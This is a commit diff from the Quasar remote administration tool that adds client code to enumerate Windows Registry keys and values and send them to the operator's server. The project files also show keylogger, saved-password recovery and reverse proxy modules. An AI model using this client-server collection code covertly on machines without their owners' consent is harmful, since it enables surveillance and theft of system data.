mirror of https://github.com/quasar/Quasar.git
Added support for acquiring the root keys of the Registry.
This commit is contained in:
parent
99dd3b1ebb
commit
3481a58afa
|
@ -53,6 +53,7 @@
|
|||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Core\Commands\RegistryHandler.cs" />
|
||||
<Compile Include="Core\Data\ClientData.cs" />
|
||||
<Compile Include="Core\Data\GeoInformation.cs" />
|
||||
<Compile Include="Core\Helper\MutexHelper.cs" />
|
||||
|
@ -94,6 +95,7 @@
|
|||
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
|
||||
<Compile Include="Core\Networking\QuasarClient.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||
|
@ -104,6 +106,10 @@
|
|||
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
|
||||
<Compile Include="Core\Recovery\FtpClients\FileZilla.cs" />
|
||||
<Compile Include="Core\Recovery\FtpClients\WinSCP.cs" />
|
||||
<Compile Include="Core\Registry\RegistrySeeker.cs" />
|
||||
<Compile Include="Core\Registry\RegistrySeekerParams.cs" />
|
||||
<Compile Include="Core\Registry\RegSeekerMatch.cs" />
|
||||
<Compile Include="Core\Registry\RegValueData.cs" />
|
||||
<Compile Include="Core\Utilities\FileSplit.cs" />
|
||||
<Compile Include="Core\Data\Host.cs" />
|
||||
<Compile Include="Core\Utilities\HostsManager.cs" />
|
||||
|
@ -216,6 +222,7 @@
|
|||
<Compile Include="Core\Utilities\Keylogger.cs" />
|
||||
<Compile Include="Enums\MouseAction.cs" />
|
||||
<Compile Include="Enums\PathType.cs" />
|
||||
<Compile Include="Enums\RegistrySearchAction.cs" />
|
||||
<Compile Include="Enums\ShutdownAction.cs" />
|
||||
<Compile Include="Enums\UserStatus.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
using xClient.Core.Registry;
|
||||
using xClient.Core.Utilities;
|
||||
|
||||
namespace xClient.Core.Commands
|
||||
|
@ -13,5 +14,6 @@ public static partial class CommandHandler
|
|||
private static Dictionary<int, string> _canceledDownloads = new Dictionary<int, string>();
|
||||
private const string DELIMITER = "$E$";
|
||||
private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
|
||||
public static RegistrySeeker seeker;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,57 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Commands
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs
|
||||
*/
|
||||
|
||||
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
|
||||
public static partial class CommandHandler
|
||||
{
|
||||
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
seeker = new RegistrySeeker();
|
||||
|
||||
xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();
|
||||
|
||||
seeker.SearchComplete += (object o, SearchCompletedEventArgs e) =>
|
||||
{
|
||||
responsePacket.Matches = e.Matches.ToArray();
|
||||
responsePacket.RootKey = packet.RootKeyName;
|
||||
|
||||
responsePacket.Execute(client);
|
||||
};
|
||||
|
||||
// If the search parameters of the packet is null, the server is requesting to obtain the root keys.
|
||||
if (packet.RootKeyName == null)
|
||||
{
|
||||
seeker.Start(new RegistrySeekerParams(null, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values));
|
||||
}
|
||||
else
|
||||
{
|
||||
seeker.Start(packet.RootKeyName);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,6 +1,7 @@
|
|||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using System.Linq;
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Extensions
|
||||
{
|
||||
|
@ -94,5 +95,49 @@ public static IEnumerable<string> GetFormattedKeyValues(this RegistryKey key)
|
|||
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
|
||||
}
|
||||
}
|
||||
|
||||
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower();
|
||||
case RegistryValueKind.MultiString:
|
||||
return string.Join(" ", (string[])valueData);
|
||||
case RegistryValueKind.DWord: //Convert with hexadecimal before int
|
||||
return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString());
|
||||
case RegistryValueKind.QWord:
|
||||
return ((ulong)((long)valueData)).ToString();
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
return valueData.ToString();
|
||||
case RegistryValueKind.Unknown:
|
||||
default:
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
public static string RegistryTypeToString(this RegistryValueKind valueKind)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return "REG_BINARY";
|
||||
case RegistryValueKind.MultiString:
|
||||
return "REG_MULTI_SZ";
|
||||
case RegistryValueKind.DWord:
|
||||
return "REG_DWORD";
|
||||
case RegistryValueKind.QWord:
|
||||
return "REG_QWORD";
|
||||
case RegistryValueKind.String:
|
||||
return "REG_SZ";
|
||||
case RegistryValueKind.ExpandString:
|
||||
return "REG_EXPAND_SZ";
|
||||
case RegistryValueKind.Unknown:
|
||||
return "(Unknown)";
|
||||
default:
|
||||
return "REG_NONE";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -77,6 +77,7 @@ public QuasarClient(HostsManager hostsManager) : base()
|
|||
typeof (Packets.ClientPackets.GetStartupItemsResponse),
|
||||
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
||||
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRegistryKeysResponse : IPacket
|
||||
{
|
||||
public RegSeekerMatch[] Matches { get; set; }
|
||||
|
||||
public string RootKey { get; set; }
|
||||
|
||||
public GetRegistryKeysResponse()
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
|
||||
: this(new RegSeekerMatch[] { match }, rootKey)
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
|
||||
{
|
||||
Matches = matches;
|
||||
RootKey = rootKey;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -124,6 +124,10 @@ public static void HandlePacket(Client client, IPacket packet)
|
|||
CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
|
||||
client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoLoadRegistryKey))
|
||||
{
|
||||
CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
|
||||
{
|
||||
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
|
||||
|
|
|
@ -0,0 +1,40 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs
|
||||
*/
|
||||
|
||||
[Serializable]
|
||||
public class RegSeekerMatch
|
||||
{
|
||||
public string Key { get; private set; }
|
||||
public List<RegValueData> Data { get; private set; }
|
||||
public bool HasSubKeys { get; private set; }
|
||||
|
||||
public RegSeekerMatch(string key, List<RegValueData> data, int subkeycount)
|
||||
{
|
||||
Key = key;
|
||||
Data = data;
|
||||
HasSubKeys = (subkeycount > 0);
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1})", Key, Data.ToString());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
{
|
||||
public string Name { get; private set; }
|
||||
public string Type { get; private set; }
|
||||
public string Data { get; private set; }
|
||||
|
||||
public RegValueData(string name, string type, string data)
|
||||
{
|
||||
Name = name;
|
||||
Type = type;
|
||||
Data = data;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1}:{2})", Name, Type, Data);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,330 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Security;
|
||||
using Microsoft.Win32;
|
||||
using System.Threading;
|
||||
using xClient.Core.Extensions;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted from CrackSoft's Reg Explore.
|
||||
* Reg Explore v1.1 (Release Date: June 24, 2011)
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This is a work that is not of the original. It
|
||||
* has been modified to suit the needs of another
|
||||
* application.
|
||||
* (This has been taken from Justin Yanke's branch)
|
||||
* First Modified by Justin Yanke on August 15, 2015
|
||||
* Second Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Unmodified Source:
|
||||
* https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs
|
||||
*/
|
||||
|
||||
public class MatchFoundEventArgs : EventArgs
|
||||
{
|
||||
public RegSeekerMatch Match { get; private set; }
|
||||
|
||||
public MatchFoundEventArgs(RegSeekerMatch match)
|
||||
{
|
||||
Match = match;
|
||||
}
|
||||
}
|
||||
|
||||
public class SearchCompletedEventArgs : EventArgs
|
||||
{
|
||||
public List<RegSeekerMatch> Matches { get; private set; }
|
||||
|
||||
public SearchCompletedEventArgs(List<RegSeekerMatch> matches)
|
||||
{
|
||||
Matches = matches;
|
||||
}
|
||||
}
|
||||
|
||||
public class RegistrySeeker
|
||||
{
|
||||
#region CONSTANTS
|
||||
|
||||
/// <summary>
|
||||
/// An array containing all of the root keys for the registry.
|
||||
/// </summary>
|
||||
public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[]
|
||||
{
|
||||
Microsoft.Win32.Registry.ClassesRoot,
|
||||
Microsoft.Win32.Registry.CurrentUser,
|
||||
Microsoft.Win32.Registry.LocalMachine,
|
||||
Microsoft.Win32.Registry.Users,
|
||||
Microsoft.Win32.Registry.CurrentConfig
|
||||
};
|
||||
|
||||
#endregion
|
||||
|
||||
#region Fields
|
||||
|
||||
/// <summary>
|
||||
/// Fired when the RegistrySeeker has finished searching through the registry.
|
||||
/// </summary>
|
||||
public event EventHandler<SearchCompletedEventArgs> SearchComplete;
|
||||
|
||||
/// <summary>
|
||||
/// Fired when a RegistryKey is found.
|
||||
/// </summary>
|
||||
public event EventHandler<MatchFoundEventArgs> MatchFound;
|
||||
|
||||
/// <summary>
|
||||
/// The worker thread that does the searching/traversal through the registry.
|
||||
/// </summary>
|
||||
private BackgroundWorker searcher;
|
||||
|
||||
/// <summary>
|
||||
/// The lock used to ensure thread safety.
|
||||
/// </summary>
|
||||
private readonly object locker = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The search arguments to use for customizable registry searching.
|
||||
/// </summary>
|
||||
public RegistrySeekerParams searchArgs;
|
||||
|
||||
/// <summary>
|
||||
/// The list containing the matches found during the search.
|
||||
/// </summary>
|
||||
private List<RegSeekerMatch> matches;
|
||||
|
||||
/// <summary>
|
||||
/// The queue of registry key paths to analyze further.
|
||||
/// </summary>
|
||||
private Queue<string> pendingKeys;
|
||||
|
||||
#endregion
|
||||
|
||||
public RegistrySeeker()
|
||||
{
|
||||
searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true };
|
||||
|
||||
searcher.DoWork += new DoWorkEventHandler(worker_DoWork);
|
||||
searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted);
|
||||
searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged);
|
||||
}
|
||||
|
||||
public void Start(string rootKeyName)
|
||||
{
|
||||
if (rootKeyName != null && rootKeyName.Length > 0)
|
||||
{
|
||||
|
||||
// ToDo: Get correct root key...
|
||||
RegistryKey root = GetRootKey(rootKeyName);
|
||||
|
||||
if (root != null)
|
||||
{
|
||||
//Check if this is a root key or not
|
||||
if (root.Name != rootKeyName)
|
||||
{
|
||||
//Must get the subKey name by removing root and '\\'
|
||||
string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
|
||||
try
|
||||
{
|
||||
root = root.OpenSubKey(subKeyName);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
// Temp
|
||||
if (root != null)
|
||||
Start(new RegistrySeekerParams(root, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values | Enums.RegistrySearchAction.Data));
|
||||
}
|
||||
}
|
||||
|
||||
public void Start(RegistrySeekerParams args)
|
||||
{
|
||||
searchArgs = args;
|
||||
|
||||
matches = new List<RegSeekerMatch>();
|
||||
searcher.RunWorkerAsync();
|
||||
}
|
||||
|
||||
void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
|
||||
{
|
||||
MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState));
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
if (searcher.IsBusy)
|
||||
{
|
||||
lock (locker)
|
||||
{
|
||||
searcher.CancelAsync();
|
||||
// Wait until it is done... Similar to synchronous stop.
|
||||
Monitor.Wait(locker);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
|
||||
{
|
||||
SearchComplete(this, new SearchCompletedEventArgs(matches));
|
||||
}
|
||||
|
||||
void worker_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
// Get root registrys
|
||||
if (searchArgs.RootKey == null)
|
||||
{
|
||||
foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS)
|
||||
/* Just need root key so process it */
|
||||
ProcessKey(key, key.Name);
|
||||
}
|
||||
else
|
||||
{
|
||||
//searching for subkeys to root key
|
||||
Search(searchArgs.RootKey);
|
||||
}
|
||||
}
|
||||
|
||||
void Search(string rootKeyName)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = GetRootKey(rootKeyName).OpenWritableSubKeySafe(rootKeyName))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
Search(key);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
void Search(RegistryKey rootKey)
|
||||
{
|
||||
string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1);
|
||||
|
||||
RegistryKey subKey = null;
|
||||
string keyName;
|
||||
int cropIndex = rootKey.Name.Length + 1;
|
||||
pendingKeys = new Queue<string>(rootKey.GetSubKeyNames());
|
||||
|
||||
while (pendingKeys.Count > 0)
|
||||
{
|
||||
if (searcher.CancellationPending)
|
||||
{
|
||||
lock (locker)
|
||||
{
|
||||
// Allow for a synchronous stop.
|
||||
Monitor.Pulse(locker);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
keyName = pendingKeys.Dequeue();
|
||||
|
||||
try
|
||||
{
|
||||
subKey = rootKey.OpenSubKey(keyName);
|
||||
}
|
||||
catch (SecurityException)
|
||||
{
|
||||
subKey = null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
ProcessKey(subKey, keyName);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessKey(RegistryKey key, string keyName)
|
||||
{
|
||||
if (searcher.CancellationPending)
|
||||
return;
|
||||
|
||||
MatchData(key, keyName);
|
||||
}
|
||||
|
||||
private void MatchData(RegistryKey key, string keyName)
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
List<RegValueData> values = new List<RegValueData>();
|
||||
|
||||
foreach (string valueName in key.GetValueNames())
|
||||
{
|
||||
RegistryValueKind valueType = key.GetValueKind(valueName);
|
||||
string valueData = key.GetValueKind(valueName).RegistryTypeToString(key.GetValue(valueName, string.Empty));
|
||||
string actualValueName = String.IsNullOrEmpty(valueName) ? "(Default)" : valueName;
|
||||
values.Add(new RegValueData(actualValueName, valueType.RegistryTypeToString(), valueData));
|
||||
}
|
||||
|
||||
//Maybe send null if empty (regValues)
|
||||
AddMatch(keyName, values, key.SubKeyCount);
|
||||
}
|
||||
else
|
||||
{
|
||||
AddMatch(keyName, null, 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void AddMatch(string key, List<RegValueData> values, int subkeycount)
|
||||
{
|
||||
RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount);
|
||||
|
||||
if (MatchFound != null)
|
||||
searcher.ReportProgress(0, match);
|
||||
|
||||
matches.Add(match);
|
||||
|
||||
}
|
||||
|
||||
public static RegistryKey GetWritableRegistryKey(string keyPath)
|
||||
{
|
||||
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
|
||||
|
||||
if (key != null)
|
||||
{
|
||||
//Check if this is a root key or not
|
||||
if (key.Name != keyPath)
|
||||
{
|
||||
//Must get the subKey name by removing root and '\\'
|
||||
string subKeyName = keyPath.Substring(key.Name.Length + 1);
|
||||
|
||||
key = key.OpenWritableSubKeySafe(subKeyName);
|
||||
}
|
||||
}
|
||||
|
||||
return key;
|
||||
}
|
||||
|
||||
public static RegistryKey GetRootKey(string subkey_fullpath)
|
||||
{
|
||||
string[] path = subkey_fullpath.Split('\\');
|
||||
|
||||
switch (path[0]) // <== root;
|
||||
{
|
||||
case "HKEY_CLASSES_ROOT":
|
||||
return Microsoft.Win32.Registry.ClassesRoot;
|
||||
case "HKEY_CURRENT_USER":
|
||||
return Microsoft.Win32.Registry.CurrentUser;
|
||||
case "HKEY_LOCAL_MACHINE":
|
||||
return Microsoft.Win32.Registry.LocalMachine;
|
||||
case "HKEY_USERS":
|
||||
return Microsoft.Win32.Registry.Users;
|
||||
case "HKEY_CURRENT_CONFIG":
|
||||
return Microsoft.Win32.Registry.CurrentConfig;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsBusy
|
||||
{
|
||||
get { return searcher.IsBusy; }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,52 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Enums;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs
|
||||
*/
|
||||
|
||||
public class RegistrySeekerParams
|
||||
{
|
||||
public bool GatherKeyValues { get; private set; }
|
||||
|
||||
public RegistryKey RootKey { get; set; }
|
||||
|
||||
public RegistrySeekerParams(RegistryKey registryKey, RegistrySearchAction keyAnalyzeDepth)
|
||||
{
|
||||
this.RootKey = registryKey;
|
||||
this.searchValueTypes = keyAnalyzeDepth;
|
||||
}
|
||||
|
||||
private RegistrySearchAction searchValueTypes
|
||||
{
|
||||
get
|
||||
{
|
||||
RegistrySearchAction action = RegistrySearchAction.Keys;
|
||||
|
||||
if (GatherKeyValues)
|
||||
action |= RegistrySearchAction.Values;
|
||||
|
||||
return action;
|
||||
}
|
||||
set
|
||||
{
|
||||
GatherKeyValues = (value & RegistrySearchAction.Values) == RegistrySearchAction.Values;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Enums
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* No modifications made
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs
|
||||
*/
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the items to retrieve and send when searching the registry.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum RegistrySearchAction
|
||||
{
|
||||
Keys,
|
||||
Values,
|
||||
Data
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Commands
|
||||
{
|
||||
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
|
||||
public static partial class CommandHandler
|
||||
{
|
||||
public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that we can use the packet.
|
||||
if (packet.Matches != null && packet.Matches.Length > 0)
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -124,6 +124,7 @@ public QuasarServer() : base()
|
|||
typeof (Packets.ClientPackets.GetStartupItemsResponse),
|
||||
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
||||
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Registry;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRegistryKeysResponse : IPacket
|
||||
{
|
||||
public RegSeekerMatch[] Matches { get; set; }
|
||||
|
||||
public string RootKey { get; set; }
|
||||
|
||||
public GetRegistryKeysResponse()
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
|
||||
: this(new RegSeekerMatch[] { match }, rootKey)
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
|
||||
{
|
||||
Matches = matches;
|
||||
RootKey = rootKey;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -66,6 +66,10 @@ public static void HandlePacket(Client client, IPacket packet)
|
|||
{
|
||||
CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetRegistryKeysResponse))
|
||||
{
|
||||
CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client);
|
||||
}
|
||||
else if (type == typeof(ClientPackets.GetPasswordsResponse))
|
||||
{
|
||||
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
|
||||
|
|
|
@ -0,0 +1,40 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs
|
||||
*/
|
||||
|
||||
[Serializable]
|
||||
public class RegSeekerMatch
|
||||
{
|
||||
public string Key { get; private set; }
|
||||
public List<RegValueData> Data { get; private set; }
|
||||
public bool HasSubKeys { get; private set; }
|
||||
|
||||
public RegSeekerMatch(string key, List<RegValueData> data, int subkeycount)
|
||||
{
|
||||
Key = key;
|
||||
Data = data;
|
||||
HasSubKeys = (subkeycount > 0);
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1})", Key, Data.ToString());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Core.Registry
|
||||
{
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
{
|
||||
public string Name { get; private set; }
|
||||
public string Type { get; private set; }
|
||||
public string Data { get; private set; }
|
||||
|
||||
public RegValueData(string name, string type, string data)
|
||||
{
|
||||
Name = name;
|
||||
Type = type;
|
||||
Data = data;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1}:{2})", Name, Type, Data);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -7,6 +7,7 @@
|
|||
using System.Text;
|
||||
using System.Windows.Forms;
|
